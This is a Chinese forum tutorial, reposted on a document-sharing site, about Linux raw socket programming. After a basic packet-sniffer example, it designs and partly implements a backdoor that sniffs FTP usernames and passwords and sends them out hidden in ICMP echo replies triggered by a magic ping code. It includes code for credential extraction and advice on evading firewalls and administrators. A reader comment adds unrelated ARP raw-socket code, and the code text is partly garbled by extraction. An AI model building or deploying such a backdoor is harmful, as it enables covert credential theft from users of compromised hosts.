版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡介
1、1.原始套接字介紹1.1原始套接字工作原理與規(guī)則1.2簡單應(yīng)用2FTP密碼竊取器實(shí)現(xiàn)(簡單的rootkit)2.1 設(shè)計(jì)思路2.2 實(shí)現(xiàn)2.3 不足與改進(jìn)之處開始,嗯,喝口茶水先1.原始套接字(rawsocket)1.1原始套接字工作原理與規(guī)則原始套接字是一個(gè)特殊的套接字類型,它的創(chuàng)建方式跟TCP/UDP創(chuàng)建方法幾乎是一摸一樣,例如,通過CODE:Copytoclipboardintsockfd;sockfd=socktet(AF_INET,SOCK_RAW,IPPROTO_ICMP);這兩句程序你就可以創(chuàng)建一個(gè)原始套接字.然而這種類型套接字的功能卻與TCP或者UDP類型套接字的功能有很大的不
2、同:TCP/UDP類型的套接字只能夠訪問傳輸層以及傳輸層以上的數(shù)據(jù),因?yàn)楫?dāng)IP層把數(shù)據(jù)傳遞給傳輸層時(shí),下層的數(shù)據(jù)包頭已經(jīng)被丟掉了.而原始套接字卻可以訪問傳輸層以下的數(shù)據(jù)”所以使用raw套接字你可以實(shí)現(xiàn)上至應(yīng)用層的數(shù)據(jù)操作,也可以實(shí)現(xiàn)下至鏈路層的數(shù)據(jù)操作.比如:通過CODE:Copytoclipboardsock=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_IP)方式創(chuàng)建的rawsocket就能直接讀取鏈路層的數(shù)據(jù).1)使用原始套接字時(shí)應(yīng)該注意的問題(參考v<unix網(wǎng)絡(luò)編程>>以及網(wǎng)上的優(yōu)秀文檔)(1) :對于UDP/TCP產(chǎn)生的IP數(shù)據(jù)包,內(nèi)
3、核不將它傳遞給任何原始套接字,而只是將這些數(shù)據(jù)交給對應(yīng)的UDP/TCP數(shù)據(jù)處理句柄(所以,如果你想要通過原始套接字來訪問TCP/UDP或者其它類型的數(shù)據(jù),調(diào)用socket函數(shù)創(chuàng)建原始套接字第三個(gè)參數(shù)應(yīng)該指定為htons(ETH_P_IP),也就是通過直接訪問數(shù)據(jù)鏈路層來實(shí)現(xiàn).(我們后面的密碼竊取器就是基于這種類型的).(2) :對于ICMP和EGP等使用IP數(shù)據(jù)包承載數(shù)據(jù)但又在傳輸層之下的協(xié)議類型的IP數(shù)據(jù)包,內(nèi)核不管是否已經(jīng)有注冊了的句柄來處理這些數(shù)據(jù),都會將這些IP數(shù)據(jù)包復(fù)制一份傳遞給協(xié)議類型匹配的原始套接字.(3) :對于不能識別協(xié)議類型的數(shù)據(jù)包,內(nèi)核進(jìn)行必要的校驗(yàn),然后會查看是否有類型
4、匹配的原始套接字負(fù)責(zé)處理這些數(shù)據(jù),如果有的話,就會將這些IP數(shù)據(jù)包復(fù)制一份傳遞給匹配的原始套接字,否則,內(nèi)核將會丟棄這個(gè)IP數(shù)據(jù)包,并返回一個(gè)ICMP主機(jī)不可達(dá)的消息給源主機(jī).(4) :如果原始套接字bind綁定了一個(gè)地址,核心只將目的地址為本機(jī)IP地址的數(shù)包傳遞給原始套接字,如果某個(gè)原始套接字沒有bind地址,核心就會把收到的所有IP數(shù)據(jù)包發(fā)給這個(gè)原始套接字.(5) :如果原始套接字調(diào)用了connect函數(shù),則核心只將源地址為connect連接的IP地址的IP數(shù)據(jù)包傳遞給這個(gè)原始套接字.(6) :如果原始套接字沒有調(diào)用bind和connect函數(shù),則核心會將所有協(xié)議匹配的IP數(shù)據(jù)包傳遞給這個(gè)
5、原始套接字.2).編程選項(xiàng)原始套接字是直接使用IP協(xié)議的非面向連接的套接字,在這個(gè)套接字上可以調(diào)用bind和connect函數(shù)進(jìn)行地址綁定.說明如下:(1)bind函數(shù):調(diào)用bind函數(shù)后,發(fā)送數(shù)據(jù)包的源IP地址將是bind函數(shù)指定的地址。如是不調(diào)用bind,則內(nèi)核將以發(fā)送接口的主IP地址填充IP頭.如果使用setsockopt設(shè)置了IP_HDRINCL(headerincluding)選項(xiàng),就必須手工填充每個(gè)要發(fā)送的數(shù)據(jù)包的源IP地址,否則,內(nèi)核將自動創(chuàng)建IP首部.connetc函數(shù):調(diào)用connect函數(shù)后,就可以使用write和send函數(shù)來發(fā)送數(shù)據(jù)包,而且內(nèi)核將會用這個(gè)綁定的地址填充I
6、P數(shù)據(jù)包的目的IP地址,否則的話,則應(yīng)使用sendto或sendmsg函數(shù)來發(fā)送數(shù)據(jù)包,并且要在函數(shù)參數(shù)中指定對方的IP地址。綜合以上種種功能和特點(diǎn),我們可以使用原始套接字來實(shí)現(xiàn)很多功能,比如最基本的數(shù)據(jù)包分析,主機(jī)嗅探等.其實(shí)也可以使用原始套接字作一個(gè)自定義的傳輸層協(xié)議1.2一個(gè)簡單的應(yīng)用下面的代碼創(chuàng)建一個(gè)直接讀取鏈路層數(shù)據(jù)包的原始套接字,并從中分析岀源MAC地址和目的MAC地址,源IP和目的IP,以及對應(yīng)的傳輸層協(xié)議,如果是TCP/UDP協(xié)議的話,打印其目的和源端口.為了方便閱讀,程序中避免了使用任何與協(xié)議有關(guān)的數(shù)據(jù)結(jié)構(gòu),如structether_header,structiphdr等,當(dāng)
7、然,要完全理解代碼,你需要關(guān)于指針以及位運(yùn)算的知識CODE:Copytoclipboard*Simpeisnifferc*Simpeisnifferc*auther:duanjigang2006s#include<stdio.h>#include<unistd.h>#include<sys/socket.h>#include<sys/types.h>#include<linux/if_ether.h>#include<linux/in.h>#defineBUFFER_MAX2048intmain(intargc,char*
8、argv)intsock,n_read,proto;charbufferBUFFER_MAX;char*ethhead,*iphead,*tcphead,*udphead,*icmphead,*p;if(sock=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_IP)<0)fprintf(stdout,"createsocketerror'n");exit(O);while(1)n_read=recvfrom(sock,buffer,2048,0,NULL,NULL);/*146(dest)+6(source)+2(typeorle
9、ngth)+20ipheader+8icmp,tcporudpheader=42*/if(n_read<42)fprintf(stdout,"Incompleteheader,packetcorruptn");continue;ethhead=buffer;p=ethhead;intn=0XFF;printf("MAC:%.2X:%02X:%02X:%02X:%02X:%02X=>""%.2X:%.2X:%.2X:%.2X:%.2X:%.2Xn",p6&n,p7&n,p8&n,p9&n,p1
10、0&n,p11&n,p0&n,p1&n,p2&n,p3&n,p4&n,p5&n);iphead=ethhead+14;p=iphead+12;printf("IP:%d.%d.%d.%d=>%d.%d.%d.%dn",p0&0XFF,p1&0XFF,p2&0XFF,p3&0XFF,p4&0XFF,p5&OXFF,p&OXFF,p7&0XFF);proto=(iphead+9)0;p=iphead+20;printf("Protoco
11、l:");switch(proto)caseIPPROTO_ICMP:printf("ICMPn");break;caseIPPROTO_IGMP:printf("IGMPn");break;caseIPPROTO_IPIP:printf("IPIPn");break;caseIPPROTO_TCP:caseIPPROTO_UDP:printf("%s,",proto=IPPROTO_TCP?"TCP":"UDP");printf("sourceport:
12、%u,",(p0<<8)&0XFF00|p1&0XFF);printf("destport:%un",(p2<<8)&0XFF00|p3&0XFF);break;caseIPPROTO_RAW:printf("RAWn");break;default:printf(”Unkown,pleasequeryininclude/linux/in.hn”);2FTP密碼嗅探器實(shí)現(xiàn)注意:本部分的實(shí)現(xiàn),采用了系統(tǒng)定義的一些數(shù)據(jù)結(jié)構(gòu),如鏈路層頭結(jié)構(gòu)體,網(wǎng)絡(luò)層頭結(jié)構(gòu)體,以及TCP.UDP,ICMP頭等結(jié)構(gòu)
13、體,正好對上一個(gè)例子是一個(gè)補(bǔ)充,同時(shí),在程序中操作起來也更方便一些,當(dāng)然,你必須知道每個(gè)數(shù)據(jù)結(jié)構(gòu)的意思,與數(shù)據(jù)包頭中的各項(xiàng)是如何對應(yīng)的,還有,在下面的程序中,我們使用單鏈表存儲收集到的用戶名與密碼,所以,你應(yīng)該必須熟悉單鏈表的操作,如插入節(jié)點(diǎn)和刪除節(jié)點(diǎn)等,最后,你最好能夠很熟練的使用FTP命令,這樣才能很好的理解本文的代碼和要點(diǎn).(對了,你還得明白校驗(yàn)和是做什么用的,以及它的計(jì)算方法)為了方便理解,我在文中添加了一個(gè)簡單的數(shù)據(jù)包分層圖,如下IIII|鏈路層頭|IP報(bào)文頭|傳輸層報(bào)文頭|應(yīng)用層數(shù)據(jù)IIII2.1設(shè)計(jì)思路在網(wǎng)上看到有好多sniffer的設(shè)計(jì)思路,有些確實(shí)講的很不錯(cuò),但是卻很少發(fā)現(xiàn)有
14、完整的作岀來一個(gè)實(shí)例的(也許是偶孤陋寡聞沒找見),正好想起來HackingtheLinuxKernelNetworkStack>>中有這么一個(gè)實(shí)例,那篇主要是講netfilter的,在模塊里面實(shí)現(xiàn)數(shù)據(jù)的過濾,竊取用戶名和密碼,于是我便把那個(gè)故事搬過來,用原始套接字去實(shí)現(xiàn),而且遠(yuǎn)程竊取密碼的方法同樣使用的是令人洋洋得意的思路-構(gòu)造一個(gè)偽ping包來ping已經(jīng)被植入后門程序的主機(jī),后門程序在收到特殊的ping包之后,會講密碼嵌入到特殊的ping返回消息中,從而完成密碼的運(yùn)輸.不同之處在于返回密碼時(shí)采用的方法,本文中創(chuàng)建了一個(gè)ICMP類型的rawsocket作為ICMPechorequ
15、est消息的echoreply消息返回,雖然較之前文的方法有些遜色,但是卻相當(dāng)提供了一個(gè)完整的ping程序,你可以稍加修改就做岀自己的ping來.而且在對協(xié)議類型進(jìn)行判斷的Switch分支中,你可以繼續(xù)添加自己的處理方法,比如SNMP的162UDP端口或者其他協(xié)議的分析.程序的運(yùn)行過程:首先我們會創(chuàng)建一個(gè)接收鏈路層的原始套接字,之所以創(chuàng)建鏈路層的原始套接字,原因有:1:岀于教學(xué)目的,我們盡力去分析數(shù)據(jù)包中盡可能多的信息,所以從鏈路層抓起,逐層提取信息.2:FTP是基于TCP協(xié)議的應(yīng)用層協(xié)議,所以我們要能從傳輸層區(qū)分岀TCP包和UDP包,但是,前面的規(guī)則已經(jīng)講到了,對于UDP或者TCP產(chǎn)生的IP
16、層數(shù)據(jù)包,內(nèi)核將不會把它傳遞給任何原始套接字,而是交給對應(yīng)的TCP/UDP處理函數(shù),要能夠讓原始套接字接收UDP和TCP產(chǎn)生的IP數(shù)據(jù)包,或者說接收傳輸層的UDP和TCP類型的數(shù)據(jù),所創(chuàng)建的原始套接字必須為ETH_P_IP類型的,在程序里面體現(xiàn)岀來就是將第三個(gè)參數(shù)指定為找個(gè)值在套接字創(chuàng)建成功之后,我們的程序就在系統(tǒng)中注冊了一塊數(shù)據(jù)結(jié)構(gòu),并且內(nèi)核中對于所有的原始套接字都有一個(gè)維護(hù)列表的,在收到網(wǎng)絡(luò)上的數(shù)據(jù)時(shí),內(nèi)核會跟據(jù)條件將收到的數(shù)據(jù)復(fù)制一份交給注冊了這個(gè)套接字的程序去處理所以,如果系統(tǒng)緩存中如果已經(jīng)有了數(shù)據(jù),我們調(diào)用的recvfrom函數(shù)將會返回,可能讀取失敗,也可能滿載而歸,攜帶了足夠多的數(shù)
17、據(jù)供我們的程序進(jìn)行處理為了防止收到的數(shù)據(jù)有差錯(cuò),我們進(jìn)行必要的檢驗(yàn),作為數(shù)據(jù)包來說,鏈路層占了14個(gè)字節(jié)的空間,6個(gè)自己源地址,6個(gè)字節(jié)是目的地址,2個(gè)字節(jié)作為類型碼,接下來是IP層的頭信息,由于找個(gè)層的頭信息包含的項(xiàng)比較多,所以不進(jìn)行一一的分析,IP層至少戰(zhàn)局20個(gè)字節(jié)的空間,下來就是傳輸層的頭信息了,在不去分UDP/TCP或者ICMP的情況下,我們可以看到,傳輸層的頭信息至少應(yīng)該包括8個(gè)字節(jié),所以,我們要檢驗(yàn)讀到的數(shù)據(jù)包大小是否超過了最基本的數(shù)據(jù)包頭的大小,如果沒有的話,說明數(shù)據(jù)包有誤,我們將其丟棄,重新接收.下來的處理就采用跟上面的例子一樣的模式,先去除鏈路層的14個(gè)字節(jié),接著找岀網(wǎng)絡(luò)層
18、的頭,從IP頭中提取協(xié)議類型字段,如果是TCP協(xié)議,則進(jìn)行分析,從中查找可能的用戶名和密碼對,由于FTP使用明文傳送,而且傳送用戶名時(shí)的格式為USER用戶名,傳送密碼時(shí)的格式為PASS密碼,所以我們可以從中分析這兩個(gè)關(guān)鍵字符串,然后從中提取用戶姓名和登陸密碼,一旦提取成功就將這一對信息加入到鏈表中存儲起來,等待遠(yuǎn)程主機(jī)來索??;如果協(xié)議類型是ICMP的話,我們就要注意了,因?yàn)槲覀兊倪h(yuǎn)程主機(jī)發(fā)送的取密碼的數(shù)據(jù)包就是以ICMP包的格式偽裝起來的,它具有一般的ICMP包的格式,并且在ICMP包的type字段填入了ICMP_ECHO這個(gè)值,表示ping的回顯請求,所以操作系統(tǒng)會認(rèn)為是一個(gè)一般的ping消
19、息,將它交給協(xié)議棧去處理,然而此時(shí)我們的后門程序已經(jīng)在這個(gè)主機(jī)上運(yùn)行了,如果它能夠發(fā)現(xiàn)這個(gè)偽裝的ICMP消息的話,就可以通過構(gòu)造一個(gè)ICMP回顯應(yīng)答的消息將它采集到的關(guān)于這臺主機(jī)的信息發(fā)送岀去,那樣就實(shí)現(xiàn)了遠(yuǎn)程信息獲取的功能.注意到ICMP消息中有兩個(gè)字段,一個(gè)是type,一個(gè)是code,我們已經(jīng)知道了,如果type為ICMP_ECHO,則標(biāo)識這是一個(gè)回顯請求,如果type為ICMP_ECHOREPLY的話,則說明是一個(gè)回顯應(yīng)答,但是code有什么作用呢?默認(rèn)的ping程序中code字段都是0,但是在實(shí)際中我發(fā)現(xiàn),如果你將code字段設(shè)置為其他非0值,而只要type字段設(shè)置為ICMP_ECHO
20、的話,也會被操作系統(tǒng)認(rèn)為是一個(gè)ping回顯請求,它馬上會給你發(fā)送一個(gè)應(yīng)答.所以,如果防火墻沒有對code字段做檢測的話,我們就可以利用code來做文章:遠(yuǎn)程主機(jī)自己構(gòu)造一個(gè)ICMP_ECHO的包,在code字段填入事先約定好的特殊值,以便于后門程序能夠認(rèn)岀它,并且不會被操作系統(tǒng)和防火墻當(dāng)作不速之客拒之門外,當(dāng)后門程序從千千萬萬的數(shù)據(jù)包中檢測岀一個(gè)這樣的特殊包時(shí),它知道遠(yuǎn)程的主人下命令了,要求它返回可能竊取到的用戶名和密碼,后門程序就會自己構(gòu)造一個(gè)ICMP_ECHOREPLY的數(shù)據(jù)包,如果已經(jīng)存儲了有效的數(shù)據(jù)的話,它取岀一對數(shù)據(jù)填入這個(gè)應(yīng)答包中(是一定要注意,這個(gè)回顯應(yīng)答的包不能太大,以免被警覺
21、的管理員所采取的防火墻規(guī)則阻擋住,這樣我們的后門程序就會功虧于潰),然后再加上一個(gè)特殊的標(biāo)志位,發(fā)送岀去.而這個(gè)特殊的標(biāo)志位也同樣是ICMP中的code字段,這樣做是為了遠(yuǎn)程主機(jī)能夠從千千萬萬的回顯應(yīng)答中找到自己心儀的那一個(gè)應(yīng)答數(shù)據(jù)包,從而得到竊取的信息.如果后門程序沒有采集到密碼對,則會發(fā)送一個(gè)事先約定好的無效用戶名和密碼給遠(yuǎn)程主機(jī),告訴它,暫時(shí)還沒有有效的數(shù)據(jù),請不要再索取了.另外,在程序中我們的原則是,每次回顯應(yīng)答帶走一對用戶名和密碼,所以,如果某個(gè)用戶正在遠(yuǎn)端使用虛假的ping程序呼喚密碼的話,他可以一直執(zhí)行這個(gè)發(fā)送偽裝Ping包的程序,每次都能獲取到一對用戶名和密碼,直到出現(xiàn)無效值,
22、說明數(shù)據(jù)已經(jīng)傳送完畢.這就是整個(gè)程序的大體的運(yùn)行過程.下面我再就實(shí)際實(shí)現(xiàn)與測試時(shí)岀現(xiàn)的問題進(jìn)行一些說明,這些問題也是在實(shí)現(xiàn)這個(gè)嗅探器的過程中困擾我最久的,好多問題都是想了幾天后類忽然發(fā)現(xiàn)原因的,呵呵,我已經(jīng)飽受這些煎熬,所以如果你注意一下下面討論的問題,在運(yùn)行程序時(shí)就不會遇到這么多麻煩的我們的程序是一個(gè)單線程的監(jiān)聽程序,每到一個(gè)TCP包,就從中查找USER或者PASS字段,如果找到的話,就取岀它后面的值,認(rèn)為是用戶名或者密碼,然后存儲起來.但是會有一下情況發(fā)生.如果我們的程序啟動時(shí),用戶名已經(jīng)傳送過了,而我們僅僅捕捉到了PASS的值,這個(gè)時(shí)候如果一直去等USER岀現(xiàn)的話,就會岀現(xiàn)差錯(cuò),你可以想
23、象一下,如果我們?nèi)〉搅擞脩鬉的登陸密碼為PASSA,而沒有得到它的用戶名,我們的程序卻在等待USER的岀現(xiàn),如果在某個(gè)時(shí)候USER岀現(xiàn)了,很顯然,這是新連接的登陸用戶名,跟上一次存儲的密碼不屬于一次會話的數(shù)據(jù),即使我們拿到了這個(gè)用戶名和密碼,也只是上一個(gè)用戶登陸的密碼和這一個(gè)用戶登陸的姓名,這樣拿到了也沒用,除非是特殊情況的岀現(xiàn),即同一個(gè)用戶連著登陸多次,那么,瞎貓碰著死耗子,我們得到了正確的數(shù)據(jù),但是我們希望盡可能去獲取一次會話中的用戶名和密碼對,所以,嗅探的原則是,如果沒有用戶名,就不存儲密碼.考慮再細(xì)致點(diǎn),想想多用戶同時(shí)登陸的情況,假設(shè)thatday已經(jīng)連接上FTP服務(wù)器,并且鍵入了用戶
24、名thatday發(fā)送給FTP服務(wù)器,這個(gè)時(shí)候我們的程序也應(yīng)該在FTP服務(wù)器上獲取到了用戶名thatday,忽然thatday收到他GF打來的電話,便忘記了輸入密碼,開始跟他mm聊天,這個(gè)時(shí)候月肥月肥也去登陸,他鍵入用戶名FatFighterM,發(fā)送岀去,于是我們的程序發(fā)現(xiàn)又有一個(gè)叫做FatFighterM的用戶名被傳過來了,但是此時(shí)程序的任務(wù)是等待一個(gè)密碼,如果直接丟棄FatFighterM這個(gè)用戶名不管,并且繼續(xù)等待對應(yīng)thatday的密碼的話,可能會岀現(xiàn)如下差錯(cuò):thatday還在聊天,肥肥當(dāng)仁不讓的輸入密碼,并且登陸成功,開始工作,可我們的傻瓜程序卻會以為這是thatday的密碼,將這視
25、為一對,存儲起來,但是這樣的數(shù)據(jù)是沒有用的,根本就不匹配!也許你會說,那就這樣吧,如果有新來的用戶名,就丟棄先采集到的用戶名,存儲后來的用戶名,這不就行了?這樣也會有問題,如果肥肥在輸入用戶名后也接到了老婆的電話,然后他就離開座位聊起天來,當(dāng)然還沒有輸入密碼(他可能認(rèn)為保持半登陸狀態(tài)比輸入密碼登陸成功后離開座位更安全),這個(gè)時(shí)候thatday聊天結(jié)束,他輸入自己的密碼,發(fā)給服務(wù)器,但是這個(gè)時(shí)候我們的程序存儲的用戶名卻是肥肥的名字,然后卻又收到了thatday的密碼,所以同樣做了無用功.因此,還需要進(jìn)行更多的控制.當(dāng)然,F(xiàn)TP服務(wù)器是不會岀這種錯(cuò)誤的,因?yàn)樗鼤槊總€(gè)登陸過程開一個(gè)單獨(dú)的會話,但是
26、我們的單線程程序卻會遇到這些問題,試想,如果我們給每個(gè)密碼對加上源IP地址進(jìn)行匹配,這個(gè)問題是不是就可以解決了,對,這樣就可以解決問題了.我們可以這樣做,每來一個(gè)用戶名,就記下這個(gè)數(shù)據(jù)包的源IP和源端口,如果下次來的PASS的源IP和端口跟已經(jīng)存儲的用戶名和密碼一致的話,就認(rèn)為是一對,而且還繼續(xù)以前的規(guī)定,沒有用戶名之前不存儲密碼.因?yàn)椴煌目蛻魴C(jī),源IP地址肯定不同,所以可以根據(jù)IP地址來區(qū)分不通主機(jī)的連接,而對于同一臺機(jī)子上的不通用戶,他們的源IP當(dāng)然是相同的了,我們只有根據(jù)它的源端口進(jìn)行區(qū)分了.如果以上說得都做到了我們就可以獲取到密碼了下來,該討論取密碼是應(yīng)該注意的問題了.首先說說嗅探器
27、端,既然我們創(chuàng)建了一個(gè)原始套接字并且從找個(gè)套接字讀到了ping請求,好像順理成章的我們就應(yīng)改把密碼對通過這個(gè)發(fā)回遠(yuǎn)程主機(jī),但是我在嘗試了N次之后始終沒有成功,一個(gè)可能的原則是“鏈路層的原始套接字不能直接自己填充鏈路層頭信息并將數(shù)據(jù)發(fā)送岀去",不知道這個(gè)說法正確不?期待專家的回復(fù).因?yàn)槲乙婚_始的想法就是直接將這個(gè)數(shù)據(jù)包的源MAC和目的MAC互換,IP互換,端口互換,并希望能直接利用原來的套接字發(fā)送回去,但是最終還是沒能成功,但是我認(rèn)為,這是最好的做法了.最后只好委屈求全,再次創(chuàng)建一個(gè)原始套接字,類型為IPPROTO_ICMP,跟自己寫ping程序一樣,寫了一段簡單的pingechore
28、ply的代碼,用新的套接字將密碼發(fā)回,這個(gè)實(shí)在是一個(gè)巨大的暇疵!嗅探端已經(jīng)完畢,接著看遠(yuǎn)程的命令端,我一開始就使用HackingtheLinuxKernelNetworkStack>>中的那個(gè)命令端程序,結(jié)果偽裝包是發(fā)送成功了,可是讀取到的數(shù)據(jù)老是錯(cuò)誤,用戶名和密碼總是空的,折騰了2天,這天,細(xì)心的同事忽然告訴我說你收到的消息好像跟發(fā)送的一摸一樣,這時(shí)才發(fā)現(xiàn)了問題所在,在原來的代碼中,作者只讀取一次就成功了,而在我得程序里,第一次read到的ICMP消息居然是自己發(fā)送岀去的原封不動,關(guān)于這個(gè)原因我還沒有思考清楚,只覺得可能是由于同一臺機(jī)子測試引起的,并沒有做太多的分析,希望專家給岀
29、更科學(xué)的說法!然后就增加條件,如果返回的type是ICMP_ECHO的話就扔掉,結(jié)果發(fā)現(xiàn)這次讀到了ICMP_ECHOREPLY,用戶名和密碼還是錯(cuò)的,一想,原來是收到了系統(tǒng)返回的ping應(yīng)答消息,最終的原則就是,當(dāng)收到的ICMP消息是ICMP_ECHOREPLY時(shí)并且code字段為嗅探器所填的特殊值時(shí),才進(jìn)行處理,終于能夠正確的運(yùn)行起來.2.2實(shí)現(xiàn)(代碼片斷)由于論壇字符上限的原因,在次只貼岀了部分代碼,并且刪除了注視,完整的代碼作為附件上傳上來吧.CODE:Copytoclipboardintmain(intargc,char*argv)intsock,n_read;structether_
30、header*etherh;structiphdr*iph;charbufferBUFFER_MAX;/*createarawsocekttosnifferallmessages*/if(sock=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_IP)<0)exit(errno);while(1)n_read=recvfrom(sock,buffer,2048,0,NULL,NULL);/*-14(ethernethead)+20(ipheader)+8(TCP/UDP/ICMPheader)-*/if(n_read<42)continue;/*gete
31、thernetheader*/etherh=(structether_header*)buffer;/*getipheader*/iph=(structiphdr*)(etherh+1);switch(iph->protocol)caseIPPROTO_TCP:CheckTCP(iph);break;caseIPPROTO_ICMP:if(MagicICMP(iph)SendData(etherh,n_read);break;caseIPPROTO_UDP:caseIPPROTO_IGMP:default:break;intCheckTCP(conststructiphdr*iphead
32、er)if(!ipheader)return0;inti=0;/*gettcphead*/structtcphdr*tcpheader=(structtcphdr*)(ipheader+1);/*getdataregionofthetcppacket*/char*data=(char*)(int)tcpheader+(int)(tcpheader->doff*4);if(username&&target_port&&target_ip)if(ipheader->daddr!=target_ip|tcpheader->source!=target
33、_port)/*anewloading,weneedtoresetoursniffer*/if(strncmp(data,"USER",5)=0)Reset();if(strncmp(data,"USER",5)=0)data+=5;i=0;if(username)return0;char*p=data+i;/*thedataalwaysendwithLR*/while(*p!='r'&&*p!='n'&&*p!='0'&&i<15)i+;p+;if(u
34、sername=(char*)malloc(i+2)=NULL)return0;memset(username,0x00,i+2);memcpy(username,data,i);*(username+i)='0'elseif(strncmp(data,"PASS",5)=0)data+=5;i=0;if(username=NULL)return0;if(password)return0;char*p=data;while(*p!='r'&&*p!='n'&&*p!='0'&am
35、p;&i<15)i+;p+;if(password=(char*)malloc(i+2)=NULL)return0;memset(password,0x00,i+2);memcpy(password,data,i);*(password+i)='0'elseif(strncmp(data,"QUIT",4)=0)Reset();if(!target_ip&&!target_port&&username)target_ip=ipheader->saddr;target_port=tcpheader->s
36、ource;if(username&&password)have_pair+;if(have_pair)structnodenode;node.ip=target_ip;snprintf(node.Name,15,"%s",username);snprintf(node.PassWord,15,"%s",password);AddNode(&node);Reset();return1;2.3改進(jìn)的思路由于時(shí)間原因,雖然后來想了一些改進(jìn)的方法,但卻沒有去實(shí)現(xiàn),很是遺憾,不過還是在此提岀,希望感興趣的朋友自己去實(shí)踐,并告訴我結(jié)果:由于
37、原來的單線程后門程序在多個(gè)用戶同時(shí)登陸FTP時(shí)會岀錯(cuò),我們即使加上煩雜的處理在運(yùn)氣很好的情況下最終也只能得到一對密碼對,可以這樣改進(jìn),每檢測到一個(gè)用戶名,就將這個(gè)數(shù)據(jù)包的源IP,源端口,以及用戶名存儲到一個(gè)列表中,用戶名相同的進(jìn)行覆蓋存儲,然后再次檢測到密碼時(shí),根據(jù)密碼數(shù)據(jù)包的源IP以及源端口去表中查找匹配,這樣就能獲取并發(fā)訪問FTP時(shí)的密碼了:如果你在局域網(wǎng)做試驗(yàn),并且你的老板允許你把網(wǎng)卡設(shè)置為混雜模式,那么這個(gè)程序就是一個(gè)真正的嗅探器了,這個(gè)時(shí)候你要存儲的信息就多了,需要加上目的IP和目的端口.最后切記,最好不要將這個(gè)程序用于惡意目的.程序源碼:文件:source.rar大?。?KB下載:
38、下載發(fā)表于:2007-01-04,修改于:2007-01-0421:44,已瀏覽6554次,有評論3條推薦投訴網(wǎng)友評論網(wǎng)友:本站網(wǎng)友時(shí)間:2008-12-1113:14:版主,你好!看了這篇文章對Rawsocket編程有了更深的了解,非常感謝。但是我手邊有個(gè)關(guān)于RawSocket的程序,在ifconfiglodown后無法在插入回環(huán)雙絞線水自己發(fā)送的包,更重要的是運(yùn)行到提示如下信息后便退出:SO_BINDTODEVICEoethOSIOCGIFFLAGStoeth0SIOCSIFFLAGStoeth0Tosend.sendto:Networkisdown一下是代碼,請幫忙分析一下,非常感謝:(
39、我的MSN:,QQ:,非常盼望隨時(shí)指教)#if_GLIBC_>=2&&_GLIBC_MINOR>=1#include<sys/socket.h>#include<string.h>#include<sys/types.h>#includevarpa/inet.h>#include<features.h>/*fortheglibcversionnumber*/#else#include<netpacket/packet.h>#include<net/ethernet.h>/*theL2pro
40、tocols*/#endif#include<asm/types.h>#include<linux/if_packet.h>#include<linux/if_ether.h>/*TheL2protocols*/#include<netinet/in.h>#include<stdio.h>#includevstring.h>#include<errno.h>#include<unistd.h>/#include<linux/in.h>#include<net/if.h>#inelu
41、de<sys/ioctl.h>intmain(intargc,char*argv)intsock,n;charbuffer2048;unsignedchar*iphead,*ethhead;structifreqethreq;structsockaddr_llsll;unsignedchararp60=0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,/dstMAC0x00,0x0C,0x29,0x4D,0xB0,0x62,/srcMAC0x08,0x06,/ARP0x00,0x01,/Ethernet0x08,0x00,/IP0x06,/HWaddresssize0x0
42、4,/protocol(IPhere)addresssize0x00,0x01,/opcode:request0x00,0x0C,0x29,0x4D,0xB0,0x62,/srcMAC0x82,0x8C,0x16,0xC7,/srcip:0x00,0x00,0x00,0x00,0x00,0x00,/dstMAC0x82,0x8C,0x12,0x52/dstip:;memset(&sll,0,sizeof(sll);/Maybenoneedsll.sll_ifindex=2;/Itseemsonlyneedthistospecifywhichif(sock=socket(PF_PACKE
43、T,SOCK_RAW,htons(/*ETH_P_LOOP*/ETH_P_ALL)vperror("socket");exit(1);strncpy(ethreq.ifr_name,"ethO",IFNAMSIZ);printf("SO_BINDTODEVICEtoethOn");if(setsockopt(sock,SOL_SOCKET,SO_BINDTODEVICE,(char*)ðreq,sizeof(ethreq)perror("ioctl");close(sock);exit(1);/*Setthenetworkcardinpromiscuosmode*/strncpy(ethreq.ifr_name,"ethO",IFNAMSIZ);printf("SIOCGIFFLAGStoeth0n");if(ioc
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 政府公共關(guān)系(第二版)課件 第9章 政府公共關(guān)系傳播的模式與方法
- 小學(xué)六年級語文教學(xué)工作計(jì)劃
- 2022年學(xué)校后勤工作總結(jié)七篇
- 初一生物教師工作計(jì)劃
- 節(jié)水的建議書范文匯編7篇
- 書的演講稿范文錦集10篇
- 大學(xué)寒假實(shí)習(xí)報(bào)告模板合集7篇
- 創(chuàng)造性思維與創(chuàng)新能力的講義
- 彩色多普勒超聲在臨床的應(yīng)用
- 未來的教室6篇
- vpn基礎(chǔ)與應(yīng)用簡介
- GB/T 23319.2-2009紡織品洗滌后扭斜的測定第2部分:機(jī)織物和針織物
- 田螺姑娘閱讀測試試題附答案
- 首都博物館參觀匯報(bào)參考課件
- 失禁性皮炎護(hù)理最新版課件
- 急癥識別及處理課件
- 國家開放大學(xué)《美學(xué)原理》形考作業(yè)1-5參考答案
